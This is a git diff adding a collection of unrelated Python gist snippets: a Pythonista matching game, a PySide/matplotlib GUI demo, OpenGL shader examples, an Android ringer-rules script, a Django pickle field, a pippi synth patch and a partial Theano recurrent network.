+				self.add_layer(score)
+				score.animate('alpha', 0, completion=self.killScores)
+				score.animate('frame', Rect(score.frame.x, score.frame.y+50,
+				                            score.frame.w, score.frame.h))
+				self.scoreLayers.append(score)
+				self.score += l
+				print('Score: ' + str(self.score))
+		return bool(self.toKill)
+	
+	def killScores(self):
+		s = self.scoreLayers.pop(0)
+		self.remove_layer(s)
+	
+	def animKillDone(self):
+		self.animationCount -= 1
+		if self.animationCount==0:
+			for x in xrange(self.GRIDX):
+				toTop = []
+				ys = sorted([y for xx,y in self.toKill if xx==x])
+				if ys:
+					for y in xrange(ys[0], self.GRIDY):
+						self.toCheck.add((x,y))
+					for y in ys:
+						toTop.append(self[x,y])
+					drop = 0
+					for y in xrange(ys[0], self.GRIDY):
+						if y in ys:
+							drop += 1
+						else:
+							self[x, y-drop], self[x,y]= self[x,y], self[x, y-drop]
+							t=drop*FALL_S+FALL_T
+							self[x,y-drop].animate('frame', self[x, y].frame, t,
+							                        completion=self.animMoveDone)
+							self.animationCount += 1
+							self[x, y].frame = Rect(*(self[x,y-drop].frame.as_tuple()))
+					for y in xrange(drop):
+						c = toTop.pop()
+						c.image=choice(self.images)
+						t=drop*FALL_S+FALL_T
+						c.frame=Rect(x*TILE_SIZE, (y+self.GRIDY)*TILE_SIZE, 
+						             TILE_SIZE, TILE_SIZE)
+						c.animate('frame', Rect(x*TILE_SIZE, 
+						             (self.GRIDY-drop+y)*TILE_SIZE, 
+						             TILE_SIZE, TILE_SIZE), t,
+						             completion=self.animMoveDone)
+						self.animationCount += 1
+						c.alpha=1
+						self[x,y-drop]=c
+			self.toKill.clear()
+			if not self.moveAvailiable():
+				self.gameOver=True
+			
+		
+	def doesTileHasMoves(self, x, y):
+		toKill, _ = self.checkTiles([(x,y)])
+		return len(toKill)
+		
+	def moveAvailiable(self):
+		ret = False 
+		for y in xrange(self.GRIDY-1):
+			for x in xrange(self.GRIDX-1):
+				self[x,y], self[x,y+1]=self[x,y+1], self[x,y]
+				if self.doesTileHasMoves(x,y):
+					ret = True
+				if self.doesTileHasMoves(x,y+1):
+					ret = True
+				self[x,y], self[x,y+1]=self[x,y+1], self[x,y]
+				self[x,y], self[x+1,y]=self[x+1,y], self[x,y]
+				if self.doesTileHasMoves(x,y):
+					ret = True
+				if self.doesTileHasMoves(x+1,y):
+					ret = True
+				self[x,y], self[x+1,y]=self[x+1,y], self[x,y]
+				if ret:
+					return True 
+		return False 
+				
+class GameScene(Scene):
+	MENU, GAME, GAME_OVER = 1, 2, 3
+	
+	def setup(self):
+		for effect in ('Click_1', 'Woosh_1', 'Woosh_2', 'Coin_4'):
+			sound.load_effect(effect)
+		for i in IMAGES:
+			load_image(i)
+		load_image(SEL_IMAGE)
+		self.root_layer = Layer(self.bounds)
+		self.effectsLayer = Layer(self.bounds)
+		self.newGame(4, 4, 5)
+		
+	def newGame(self, xx, yy, nl):
+		self.gameLayer = Match(Rect(self.bounds.x, self.bounds.y+100,
+		                            xx*TILE_SIZE, yy*TILE_SIZE))
+		self.gameLayer.setup(xx, yy, nl)
+		self.root_layer.remove_layer(self.effectsLayer)
+		self.root_layer.add_layer(self.gameLayer)
+		self.root_layer.add_layer(self.effectsLayer)
+		self.state = GameScene.GAME
+		
+	def draw(self):
+		background(0, 0.1, 0.2)
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+		if self.state==GameScene.GAME:
+			if self.gameLayer.gameOver:
+				self.gameLayer.animate('alpha', 0, 4.5)
+				o = TextLayer("Game Over", 'Helvetica-Bold', 60)
+				o.frame.center(self.effectsLayer.frame.center())
+				o.alpha = 0
+				o.animate('alpha',1,5, completion=self.gameEnd)
+				o.animate('scale_x',1.5,2)
+				o.animate('scale_y',1.5,2)
+				self.effectsLayer.add_layer(o)
+				self.state=GameScene.GAME_OVER
+			
+	def gameEnd(self):
+		self.root_layer.remove_layer(self.gameLayer)
+		self.gameLayer = None
+			
+	def touch_began(self, touch):
+		if self.gameLayer:
+			if touch.location in self.gameLayer.frame:
+				self.gameLayer.touch_began(touch)
+
+	def touch_moved(self, touch):
+		if self.gameLayer:
+			if touch.location in self.gameLayer.frame:
+				self.gameLayer.touch_moved(touch)
+
+	def touch_ended(self, touch):
+		if self.gameLayer:
+			if touch.location in self.gameLayer.frame:
+				self.gameLayer.touch_ended(touch)
+		else:
+			for f in list(self.effectsLayer.sublayers):
+				self.effectsLayer.remove_layer(f)
+			self.newGame(5,5,5)
+ 
+run(GameScene(), PORTRAIT)
diff --git a/hard-gists/3493579/._snippet.py b/hard-gists/3493579/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3493579/._snippet.py differ
diff --git a/hard-gists/3493579/snippet.py b/hard-gists/3493579/snippet.py
new file mode 100644
index 00000000..b842841b
--- /dev/null
+++ b/hard-gists/3493579/snippet.py
@@ -0,0 +1,104 @@
+from PySide import QtCore, QtGui
+import sys
+matplotlib.rcParams['backend.qt4']='PySide'
+
+from matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas
+from matplotlib.figure import Figure
+
+class MatplotlibWidget(FigureCanvas):
+
+    def __init__(self, parent=None):
+        super(MatplotlibWidget, self).__init__(Figure())
+
+        self.setParent(parent)
+        self.figure = Figure()
+        self.canvas = FigureCanvas(self.figure)
+        self.axes = self.figure.add_subplot(111)
+        
+        self.data = np.random.random((10,10))
+        
+        self.data = np.zeros((10,10))
+        self.data[2:3,:] = 1
+        self.axes.imshow(self.data)
+        
+    def Plot(self):
+        self.data = np.random.random((10,10))
+        self.axes.imshow(self.data)
+
+# the majority of the following class comes from using 'pyside-uic blah.ui'  
+# where blah.ui is a simple gui made in the qt designer
+
+class Ui_MainWindow(object):
+    def setupUi(self, MainWindow):
+        MainWindow.setObjectName("MainWindow")
+        MainWindow.resize(800, 600)
+        self.centralwidget = QtGui.QWidget(MainWindow)
+        self.centralwidget.setObjectName("centralwidget")
+
+        self.pushButton = QtGui.QPushButton(self.centralwidget)
+        self.pushButton.setGeometry(QtCore.QRect(310, 230, 114, 32))
+
+        self.pushButton.setObjectName("pushButton")
+
+# change this line to use the matplotlib widget instead of the stock 'widget'
+# that is in qt designer
+#        self.widget = QtGui.QWidget(self.centralwidget)
+        self.widget = MatplotlibWidget(self.centralwidget)
+        self.widget.setGeometry(QtCore.QRect(150, 309, 281, 181))
+        self.widget.setObjectName("widget")
+        self.widget.mpl_connect('button_press_event', self.printoutput)
+
+        self.textEdit = QtGui.QTextEdit(self.centralwidget)
+        self.textEdit.setGeometry(QtCore.QRect(200, 110, 341, 31))
+        self.textEdit.setObjectName("textEdit")
+
+        MainWindow.setCentralWidget(self.centralwidget)
+
+        self.menubar = QtGui.QMenuBar()
+        self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 22))
+        self.menubar.setObjectName("menubar")
+        MainWindow.setMenuBar(self.menubar)
+        self.statusbar = QtGui.QStatusBar(MainWindow)
+        self.statusbar.setObjectName("statusbar")
+        MainWindow.setStatusBar(self.statusbar)
+
+        self.retranslateUi(MainWindow)
+        QtCore.QMetaObject.connectSlotsByName(MainWindow)
+        
+    def retranslateUi(self, MainWindow):
+        MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "MainWindow", None, QtGui.QApplication.UnicodeUTF8))
+        self.pushButton.setText(QtGui.QApplication.translate("MainWindow", "clickme", None, QtGui.QApplication.UnicodeUTF8))
+        self.textEdit.setHtml(QtGui.QApplication.translate("MainWindow", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
+"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
+"p, li { white-space: pre-wrap; }\n"
+"</style></head><body style=\" font-family:\'Lucida Grande\'; font-size:13pt; font-weight:400; font-style:normal;\">\n"
+"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">testing</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
+
+
+    # the rest of this class was hand coded
+        self.pushButton.clicked.connect(self.output)
+        self.count = 0
+    
+    def printoutput(self, event):
+        sys.stdout.flush()
+        print self.widget.data[int(0.5+event.ydata), int(0.5+event.xdata)]
+        sys.stdout.flush()
+        
+    def output(self):
+        print ui.textEdit.toPlainText()
+        self.count += 1
+        self.widget.Plot()
+        self.widget.draw()
+     
+try:
+    app = QtGui.QApplication(sys.argv)
+except RuntimeError:
+    pass
+
+MainWindow = QtGui.QMainWindow()
+ui = Ui_MainWindow()
+ui.setupUi(MainWindow)
+MainWindow.show()
+app.exec_()
+
+# one nice thing is that 'ui' will still contain values created during execution of the gui (including data)
\ No newline at end of file
diff --git a/hard-gists/3494203/._snippet.py b/hard-gists/3494203/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3494203/._snippet.py differ
diff --git a/hard-gists/3494203/snippet.py b/hard-gists/3494203/snippet.py
new file mode 100644
index 00000000..c8364a50
--- /dev/null
+++ b/hard-gists/3494203/snippet.py
@@ -0,0 +1,256 @@
+from glfwpy.glfw import (AUTO_POLL_EVENTS, OPENED, OPENGL_CORE_PROFILE,
+    OPENGL_FORWARD_COMPAT, OPENGL_PROFILE, OPENGL_VERSION_MAJOR,
+    OPENGL_VERSION_MINOR, WINDOW,
+    Enable, GetWindowParam, Init, OpenWindow, OpenWindowHint,
+    SetKeyCallback, SetWindowTitle, SwapBuffers, Terminate)
+import numpy as np
+from OpenGL.arrays import ArrayDatatype
+from OpenGL.GL import (GL_ARRAY_BUFFER, GL_COLOR_BUFFER_BIT,
+    GL_COMPILE_STATUS, GL_FALSE, GL_FLOAT, GL_FRAGMENT_SHADER,
+    GL_LINK_STATUS, GL_RENDERER, GL_SHADING_LANGUAGE_VERSION,
+    GL_STATIC_DRAW, GL_TRIANGLES, GL_TRUE, GL_VENDOR, GL_VERSION,
+    GL_VERTEX_SHADER, glAttachShader, glBindBuffer, glBindVertexArray,
+    glBufferData, glClear, glClearColor, glCompileShader,
+    glCreateProgram, glCreateShader, glDeleteProgram,
+    glDeleteShader, glDrawArrays, glEnableVertexAttribArray,
+    glGenBuffers, glGenVertexArrays, glGetAttribLocation,
+    glGetProgramInfoLog, glGetProgramiv, glGetShaderInfoLog,
+    glGetShaderiv, glGetString, glGetUniformLocation, glLinkProgram,
+    glShaderSource, glUseProgram, glVertexAttribPointer)
+import sys
+
+
+vertex = """
+#version 330
+in vec3 vin_position;
+in vec3 vin_color;
+out vec3 vout_color;
+
+void main(void)
+{
+    vout_color = vin_color;
+    gl_Position = vec4(vin_position, 1.0);
+}
+"""
+
+
+fragment = """
+#version 330
+in vec3 vout_color;
+out vec4 fout_color;
+
+void main(void)
+{
+    fout_color = vec4(vout_color, 1.0);
+}
+"""
+
+vertex_data = np.array([0.75, 0.75, 0.0,
+                        0.75, -0.75, 0.0,
+                        -0.75, -0.75, 0.0], dtype=np.float32)
+
+color_data = np.array([1, 0, 0,
+                        0, 1, 0,
+                        0, 0, 1], dtype=np.float32)
+
+
+class ShaderProgram(object):
+    """ Helper class for using GLSL shader programs
+    """
+    def __init__(self, vertex, fragment):
+        """
+        Parameters
+        ----------
+        vertex : str
+            String containing shader source code for the vertex
+            shader
+        fragment : str
+            String containing shader source code for the fragment
+            shader
+
+        """
+        self.program_id = glCreateProgram()
+        vs_id = self.add_shader(vertex, GL_VERTEX_SHADER)
+        frag_id = self.add_shader(fragment, GL_FRAGMENT_SHADER)
+
+        glAttachShader(self.program_id, vs_id)
+        glAttachShader(self.program_id, frag_id)
+        glLinkProgram(self.program_id)
+
+        if glGetProgramiv(self.program_id, GL_LINK_STATUS) != GL_TRUE:
+            info = glGetProgramInfoLog(self.program_id)
+            glDeleteProgram(self.program_id)
+            glDeleteShader(vs_id)
+            glDeleteShader(frag_id)
+            raise RuntimeError('Error linking program: %s' % (info))
+        glDeleteShader(vs_id)
+        glDeleteShader(frag_id)
+
+    def add_shader(self, source, shader_type):
+        """ Helper function for compiling a GLSL shader
+
+        Parameters
+        ----------
+        source : str
+            String containing shader source code
+
+        shader_type : valid OpenGL shader type
+            Type of shader to compile
+
+        Returns
+        -------
+        value : int
+            Identifier for shader if compilation is successful
+
+        """
+        try:
+            shader_id = glCreateShader(shader_type)
+            glShaderSource(shader_id, source)
+            glCompileShader(shader_id)
+            if glGetShaderiv(shader_id, GL_COMPILE_STATUS) != GL_TRUE:
+                info = glGetShaderInfoLog(shader_id)
+                raise RuntimeError('Shader compilation failed: %s' % (info))
+            return shader_id
+        except:
+            glDeleteShader(shader_id)
+            raise
+
+    def uniform_location(self, name):
+        """ Helper function to get location of an OpenGL uniform variable
+
+        Parameters
+        ----------
+        name : str
+            Name of the variable for which location is to be returned
+
+        Returns
+        -------
+        value : int
+            Integer describing location
+
+        """
+        return glGetUniformLocation(self.program_id, name)
+
+    def attribute_location(self, name):
+        """ Helper function to get location of an OpenGL attribute variable
+
+        Parameters
+        ----------
+        name : str
+            Name of the variable for which location is to be returned
+
+        Returns
+        -------
+        value : int
+            Integer describing location
+
+        """
+        return glGetAttribLocation(self.program_id, name)
+
+
+def key_callback(key, action):
+    """ Sample keyboard callback function """
+    print 'Key: %s Action: %s pressed' % (key, action)
+
+
+if __name__ == "__main__":
+    if not Init():
+        print 'GLFW initialization failed'
+        sys.exit(-1)
+
+    # These Window hints are used to specify
+    # which opengl version to use and other details
+    # for the opengl context that will be created
+    OpenWindowHint(OPENGL_VERSION_MAJOR, 3)
+    OpenWindowHint(OPENGL_VERSION_MINOR, 2)
+    OpenWindowHint(OPENGL_PROFILE, OPENGL_CORE_PROFILE)
+    OpenWindowHint(OPENGL_FORWARD_COMPAT, GL_TRUE)
+
+    if not OpenWindow(1400, 800, 0, 0, 0, 0, 32, 0, WINDOW):
+        print "OpenWindow failed"
+        Terminate()
+        sys.exit(-1)
+
+    # Every time a key on the keyboard is clicked
+    # call our callback function
+    SetKeyCallback(key_callback)
+
+    SetWindowTitle("Modern opengl example")
+    Enable(AUTO_POLL_EVENTS)
+
+    # If everything went well the following calls
+    # will display the version of opengl being used
+    print 'Vendor: %s' % (glGetString(GL_VENDOR))
+    print 'Opengl version: %s' % (glGetString(GL_VERSION))
+    print 'GLSL Version: %s' % (glGetString(GL_SHADING_LANGUAGE_VERSION))
+    print 'Renderer: %s' % (glGetString(GL_RENDERER))
+
+    glClearColor(0.95, 1.0, 0.95, 0)
+
+    # Lets compile our shaders since the use of shaders is now
+    # mandatory. We need at least a vertex and fragment shader
+    # begore we can draw anything
+    program = ShaderProgram(fragment=fragment, vertex=vertex)
+
+    # Lets create a VAO and bind it
+    # Think of VAO's as object that encapsulate buffer state
+    # Using a VAO enables you to cut down on calls in your draw
+    # loop which generally makes things run faster
+    vao_id = glGenVertexArrays(1)
+    glBindVertexArray(vao_id)
+
+    # Lets create our Vertex Buffer objects - these are the buffers
+    # that will contain our per vertex data
+    vbo_id = glGenBuffers(2)
+
+    # Bind a buffer before we can use it
+    glBindBuffer(GL_ARRAY_BUFFER, vbo_id[0])
+
+    # Now go ahead and fill this bound buffer with some data
+    glBufferData(GL_ARRAY_BUFFER, ArrayDatatype.arrayByteCount(vertex_data), vertex_data, GL_STATIC_DRAW)
+
+    # Now specify how the shader program will be receiving this data
+    # In this case the data from this buffer will be available in the shader as the vin_position vertex attribute
+    glVertexAttribPointer(program.attribute_location('vin_position'), 3, GL_FLOAT, GL_FALSE, 0, None)
+
+    # Turn on this vertex attribute in the shader
+    glEnableVertexAttribArray(0)
+
+    # Now do the same for the other vertex buffer
+    glBindBuffer(GL_ARRAY_BUFFER, vbo_id[1])
+    glBufferData(GL_ARRAY_BUFFER, ArrayDatatype.arrayByteCount(color_data), color_data, GL_STATIC_DRAW)
+    glVertexAttribPointer(program.attribute_location('vin_color'), 3, GL_FLOAT, GL_FALSE, 0, None)
+    glEnableVertexAttribArray(1)
+
+    # Lets unbind our vbo and vao state
+    # We will bind these again in the draw loop
+    glBindBuffer(GL_ARRAY_BUFFER, 0)
+    glBindVertexArray(0)
+
+    running = True
+
+    while running:
+        glClear(GL_COLOR_BUFFER_BIT)
+
+        # Specify shader to be used
+        glUseProgram(program.program_id)
+
+        # Bind VAO - this will automatically
+        # bind all the vbo's saving us a bunch
+        # of calls
+        glBindVertexArray(vao_id)
+
+        # Modern GL makes the draw call really simple
+        # All the complexity has been pushed elsewhere
+        glDrawArrays(GL_TRIANGLES, 0, 3)
+
+        # Lets unbind the shader and vertex array state
+        glUseProgram(0)
+        glBindVertexArray(0)
+
+        # Now lets show our main piece on the screen
+        SwapBuffers()
+
+        # If the user has closed the window in anger
+        # then terminate this program
+        running = running and GetWindowParam(OPENED)
diff --git a/hard-gists/349423/._snippet.py b/hard-gists/349423/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/349423/._snippet.py differ
diff --git a/hard-gists/349423/snippet.py b/hard-gists/349423/snippet.py
new file mode 100644
index 00000000..77e8ccfa
--- /dev/null
+++ b/hard-gists/349423/snippet.py
@@ -0,0 +1,121 @@
+""" 
+Lays down the law for your phone, telling it what to do and when
+Inspired by docblades' silent_night.py
+"""
+import android, string, time, math, datetime
+from datetime import time, datetime, timedelta
+from time import sleep
+from threading import Timer
+droid = android.Android()
+interval_secs = 480
+location = []
+a_day = timedelta(days=1)
+""" where am I, what time is it """
+def get_location(): 
+  droid.startLocating("coarse")
+  """apparently you need to wait for the sensor to come up"""
+  droid.sleep(5)
+  location = droid.readLocation()
+
+"""available actions"""
+def go_silent():
+  droid.setRingerSilent(True)
+
+def stop_silent():
+  droid.setRingerSilent(False)
+def cow():
+  droid.makeToast("moo")
+  droid.speak("moo")
+
+
+""" given a time and a place, what should I do"""
+def follow_rules():
+  d_now = datetime.now()
+  for rule in rules:
+    """todo: change this to account for rules that cross midnight"""
+    if rule["time_begin"] < d_now < rule["time_end"]:
+      """well then it is time to check the position"""
+      if rule["radius_in_km"] < distance_between(rule["location"],location["result"]):
+	rule["action"]()
+
+def distance(location_1, location_2):
+  """using the spherical law of cosines from 
+  http://www.movable-type.co.uk/scripts/latlong.html """
+  R = 6371
+  lat1 = math.radians(location_1['latitude'])
+  lat2 = math.radians(location_2['latitude'])
+  lon1 = math.radians(location_1['longitude'])
+  lon2 = math.radians(location_2['longitude'])
+  return math.acos( math.sin(lat1)*math.sin(lat2) + math.cos(lat1)*math.cos(lat2) * math.cos(lon2-lon1)) * R
+
+
+  
+""" How long should I wait for? """
+def till(time_in):
+  d_now = datetime.now()
+  time_today = datetime.combine(datetime.today(), time_in)
+  if d_now < time_today:
+    return time_today - d_now 
+  return (time_today + a_day) - d_now
+
+def secs(time_delta):
+  return time_delta.seconds + ( time_delta.days * 24 * 60 * 60)
+
+""" let's store these rules and events in an easy to edit way"""
+""" 
+Rules are things that we need to check based on
+a date or time (or other stuff - go nuts).
+"""
+rules = []
+"""put the phone on vibrate when I am near where I work"""
+"""let's pretend I get to work in the chrysler building"""
+rules.append({"time_begin":time(23,55), "time_end":time(06,00),"location":{"latitude":40.752190, "longitude":-73.974618} ,"radius_in_km":1,"action":go_silent})
+
+
+
+"""
+Events happen at a specific time.  I don't want to have my phone set BACK
+to silent every few minutes if I set it to be noisy.  So I just want these things to happen one time per day.
+"""
+events = []
+"""no wakey at night"""
+events.append({"time_at":time(23,55), "action":go_silent})
+"""turn the ringer back on"""
+events.append({"time_at":time(06,55), "action":stop_silent})
+events.append({"time_at":time(21,19), "action":cow})
+
+def setup_events():
+  for event in events:
+    setup(event)
+
+def setup(event):
+  """we'll set a timer to go off and run a function at time_at"""
+  seconds = secs(till(event["time_at"]))
+  Timer(seconds, process, event).start()
+
+def process(event):
+  event["action"]()
+  setup(event)
+
+""" run forever"""
+def main_loop():
+  while True:
+    sleep(interval_secs)
+    droid.makeToast("woke up")
+    get_location()
+    follow_rules(location)
+droid.makeToast("setting up events")
+setup_events()
+droid.makeToast("done setting up events")
+main_loop()
+
+"""
+I'd like to have my phone go silent at my bedtime
+I'd like my ringer to come back to normal when I awake
+I'd like my phone to ring if I am out past my bedtime and someone calls me.
+
+I'd like my phone to be quiet when I turn the phone facedown.  That's not working - yet!
+
+I'd like my phone to go to vibrate when I am near where I work.
+Judge Droid is licensed for your pleasure under the WTFPL.
+"""
\ No newline at end of file
diff --git a/hard-gists/3494560/._snippet.py b/hard-gists/3494560/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3494560/._snippet.py differ
diff --git a/hard-gists/3494560/snippet.py b/hard-gists/3494560/snippet.py
new file mode 100644
index 00000000..f95a7246
--- /dev/null
+++ b/hard-gists/3494560/snippet.py
@@ -0,0 +1,158 @@
+from glfwpy.glfw import *
+from glfwpy.utils.obj_loader import ObjGeometry
+import sys
+from OpenGL.GL import *
+from OpenGL.arrays import ArrayDatatype
+import time
+
+vertex = """
+#version 330
+in vec3 vin_position;
+in vec3 vin_normal;
+out vec3 vout_normal;
+
+void main(void)
+{
+    vout_normal = vin_normal;
+    gl_Position = vec4(vin_position.xyz, 1.0);
+}
+"""
+
+
+fragment = """
+#version 330
+in vec3 vout_normal;
+out vec4 fout_color;
+
+void main(void)
+{
+    fout_color = vec4(vout_normal, 1.0);
+
+}
+"""
+
+geom = ObjGeometry('../art/bunny_with_normals.obj')
+
+vertex_data = geom.vertex_arr
+index_data = geom.index_arr
+normal_data = geom.normal_arr
+
+
+class ShaderProgram(object):
+
+    def __init__(self, vertex, fragment, geometry=None):
+        self.program_id = glCreateProgram()
+        vs_id = self.add_shader(vertex, GL_VERTEX_SHADER)
+        frag_id = self.add_shader(fragment, GL_FRAGMENT_SHADER)
+
+        glAttachShader(self.program_id, vs_id)
+        glAttachShader(self.program_id, frag_id)
+        glLinkProgram(self.program_id)
+
+        if glGetProgramiv(self.program_id, GL_LINK_STATUS) != GL_TRUE:
+            info = glGetProgramInfoLog(self.program_id)
+            glDeleteProgram(self.program_id)
+            glDeleteShader(vs_id)
+            glDeleteShader(frag_id)
+            raise RuntimeError('Error linking program: %s' % (info))
+        glDeleteShader(vs_id)
+        glDeleteShader(frag_id)
+
+    def add_shader(self, source, shader_type):
+        try:
+            shader_id = glCreateShader(shader_type)
+            glShaderSource(shader_id, source)
+            glCompileShader(shader_id)
+            if glGetShaderiv(shader_id, GL_COMPILE_STATUS) != GL_TRUE:
+                info = glGetShaderInfoLog(shader_id)
+                raise RuntimeError('Shader compilation failed: %s' % (info))
+            return shader_id
+        except:
+            glDeleteShader(shader_id)
+            raise
+
+    def uniform_location(self, name):
+        return glGetUniformLocation(self.program_id, name)
+
+    def attribute_location(self, name):
+        return glGetAttribLocation(self.program_id, name)
+
+
+def foo(x, y):
+    print x, y
+
+
+def main():
+    if not Init():
+        print 'GLFW initialization failed'
+        sys.exit(-1)
+
+    OpenWindowHint(OPENGL_VERSION_MAJOR, 3)
+    OpenWindowHint(OPENGL_VERSION_MINOR, 2)
+    OpenWindowHint(OPENGL_PROFILE, OPENGL_CORE_PROFILE)
+    OpenWindowHint(OPENGL_FORWARD_COMPAT, GL_TRUE)
+    if not OpenWindow(1400, 800, 0, 0, 0, 0, 32, 0, WINDOW):
+        print "OpenWindow failed"
+        Terminate()
+        sys.exit(-1)
+
+    SetKeyCallback(foo)
+
+    SetWindowTitle("Modern opengl example")
+    Enable(AUTO_POLL_EVENTS)
+
+    print 'Vendor: %s' % (glGetString(GL_VENDOR))
+    print 'Opengl version: %s' % (glGetString(GL_VERSION))
+    print 'GLSL Version: %s' % (glGetString(GL_SHADING_LANGUAGE_VERSION))
+    print 'Renderer: %s' % (glGetString(GL_RENDERER))
+
+    glEnable(GL_DEPTH_TEST)
+    glViewport(0, 0, 1400, 800)
+    glClearColor(0.8, 1.0, 0.8, 1.0)
+    program = ShaderProgram(fragment=fragment, vertex=vertex)
+
+    vao_id = glGenVertexArrays(1)
+    vbo_id = glGenBuffers(3)
+    glBindVertexArray(vao_id)
+
+    glBindBuffer(GL_ARRAY_BUFFER, vbo_id[0])
+    glBufferData(GL_ARRAY_BUFFER,
+        ArrayDatatype.arrayByteCount(vertex_data),
+        vertex_data, GL_STATIC_DRAW)
+    glVertexAttribPointer(program.attribute_location('vin_position'),
+        3, GL_FLOAT, GL_FALSE, 0, None)
+    glEnableVertexAttribArray(0)
+
+    glBindBuffer(GL_ARRAY_BUFFER, vbo_id[1])
+    glBufferData(GL_ARRAY_BUFFER,
+        ArrayDatatype.arrayByteCount(normal_data),
+        normal_data, GL_STATIC_DRAW)
+    glVertexAttribPointer(program.attribute_location('vin_normal'),
+        3, GL_FLOAT, GL_FALSE, 0, None)
+    glEnableVertexAttribArray(1)
+
+    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, vbo_id[2])
+    glBufferData(GL_ELEMENT_ARRAY_BUFFER,
+        ArrayDatatype.arrayByteCount(index_data),
+        index_data, GL_STATIC_DRAW)
+
+    glBindVertexArray(0)
+    running = True
+
+    while running:
+        t1 = time.clock()
+
+        glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)
+        glUseProgram(program.program_id)
+        glBindVertexArray(vao_id)
+        glDrawElements(GL_TRIANGLES,
+            index_data.shape[0] * index_data.shape[1],
+            GL_UNSIGNED_INT, None)
+        glUseProgram(0)
+        glBindVertexArray(0)
+        SwapBuffers()
+        print time.clock() - t1
+        running = running and GetWindowParam(OPENED)
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/350281/._snippet.py b/hard-gists/350281/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/350281/._snippet.py differ
diff --git a/hard-gists/350281/snippet.py b/hard-gists/350281/snippet.py
new file mode 100644
index 00000000..39e4e651
--- /dev/null
+++ b/hard-gists/350281/snippet.py
@@ -0,0 +1,50 @@
+from django.conf import settings
+from django.db import models
+from django.utils.encoding import smart_str
+
+if hasattr(settings, 'USE_CPICKLE'):
+    import cPickle as pickle
+else:
+    import pickle
+
+
+class PickleField(models.TextField):
+    """
+    Custom field that enables to store pickled Python objects.
+    """
+    __metaclass__ = models.SubfieldBase
+
+    editable = False
+    serialize = False
+
+    def get_db_prep_value(self, value):
+        return pickle.dumps(value)
+
+    def get_default(self):
+        if self.has_default():
+            if callable(self.default):
+                return self.default()
+            return self.default
+        return super(PickleField, self).get_default()
+
+    def to_python(self, value):
+        if not isinstance(value, basestring):
+            return value
+
+        try:
+            return pickle.loads(smart_str(value))
+        except (EOFError, IndexError, KeyError, ValueError):
+            return value
+
+
+# Make able to store Django model objects in ``PickleField``
+def picklefield(func):
+    def wrapper(obj, field):
+        if isinstance(field, PickleField):
+            return field.get_db_prep_save(obj)
+        return func(obj, field)
+    return wrapper
+
+
+models.Model.prepare_database_save = \
+    picklefield(models.Model.prepare_database_save)
diff --git a/hard-gists/35164461db4da79f7d56/._snippet.py b/hard-gists/35164461db4da79f7d56/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/35164461db4da79f7d56/._snippet.py differ
diff --git a/hard-gists/35164461db4da79f7d56/snippet.py b/hard-gists/35164461db4da79f7d56/snippet.py
new file mode 100644
index 00000000..7c179845
--- /dev/null
+++ b/hard-gists/35164461db4da79f7d56/snippet.py
@@ -0,0 +1,27 @@
+from pippi import dsp
+from pippi import tune
+
+def play(ctl):
+    midi = ctl.get('midi')
+    midi.setOffset(111)
+    pw = midi.get(1, low=0.01, high=1)
+
+    scale = [1, 2, 3, 6, 9]
+    scale = tune.fromdegrees(scale, octave = midi.geti(4, low=0, high=4))
+
+    freq = dsp.randchoose(scale)
+
+    length = dsp.stf(midi.get(2, low=0.1, high=8) * dsp.rand(0.5, 1.5))
+    wf = dsp.wavetable('sine2pi')
+    win = dsp.wavetable('sine')
+    mod = [ dsp.rand(0, 1) for m in range(1000) ]
+    modr = midi.get(5, low=0, high=0.3)
+    modf = midi.get(6, low=0.001, high=10)
+    amp = midi.get(3, low=0, high=1)
+
+    out = dsp.pulsar(freq, length, pw, wf, win, mod, modr, modf, amp)
+
+    out = dsp.env(out, dsp.randchoose(['sine', 'tri']))
+    out = dsp.pan(out, dsp.rand())
+
+    return out
\ No newline at end of file
diff --git a/hard-gists/353499f2e6e407883b32/._snippet.py b/hard-gists/353499f2e6e407883b32/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/353499f2e6e407883b32/._snippet.py differ
diff --git a/hard-gists/353499f2e6e407883b32/snippet.py b/hard-gists/353499f2e6e407883b32/snippet.py
new file mode 100644
index 00000000..7b99fba1
--- /dev/null
+++ b/hard-gists/353499f2e6e407883b32/snippet.py
@@ -0,0 +1,114 @@
+"""
+Simple implementation of Identity Recurrent Neural Networks (IRNN)
+
+Reference
+    A Simple Way to Initialize Recurrent Networks of Rectified Linear Units
+    http://arxiv.org/abs/1504.00941
+
+"""
+
+import numpy as np
+from theano import config, shared
+from theano import scan
+
+
+def load_mnist():
+    from gzip import open
+    from cPickle import load
+    from os.path import join, dirname
+    module_path = dirname(__file__)
+    with open(join(module_path, 'mnist.pkl.gz')) as data_file:
+        return load(data_file)
+
+
+def shared_identity(size, scale=1):
+    W = scale * np.eye(*size)
+    return shared(np.asarray(W, dtype=config.floatX))
+
+
+def shared_gaussian(size, scale=0.001):
+    W = np.random.normal(scale=scale, size=size)
+    return shared(np.asarray(W, dtype=config.floatX))
+
+
+def shared_constant(size, scale=0):
+    W = np.ones(shape=size, dtype=config.floatX) * scale
+    return shared(np.asarray(W, dtype=config.floatX))
+
+
+class RecurrentLayer(object):
+
+    def __init__(self, input_size, output_size):
+        self.W = shared_gaussian((input_size, output_size))
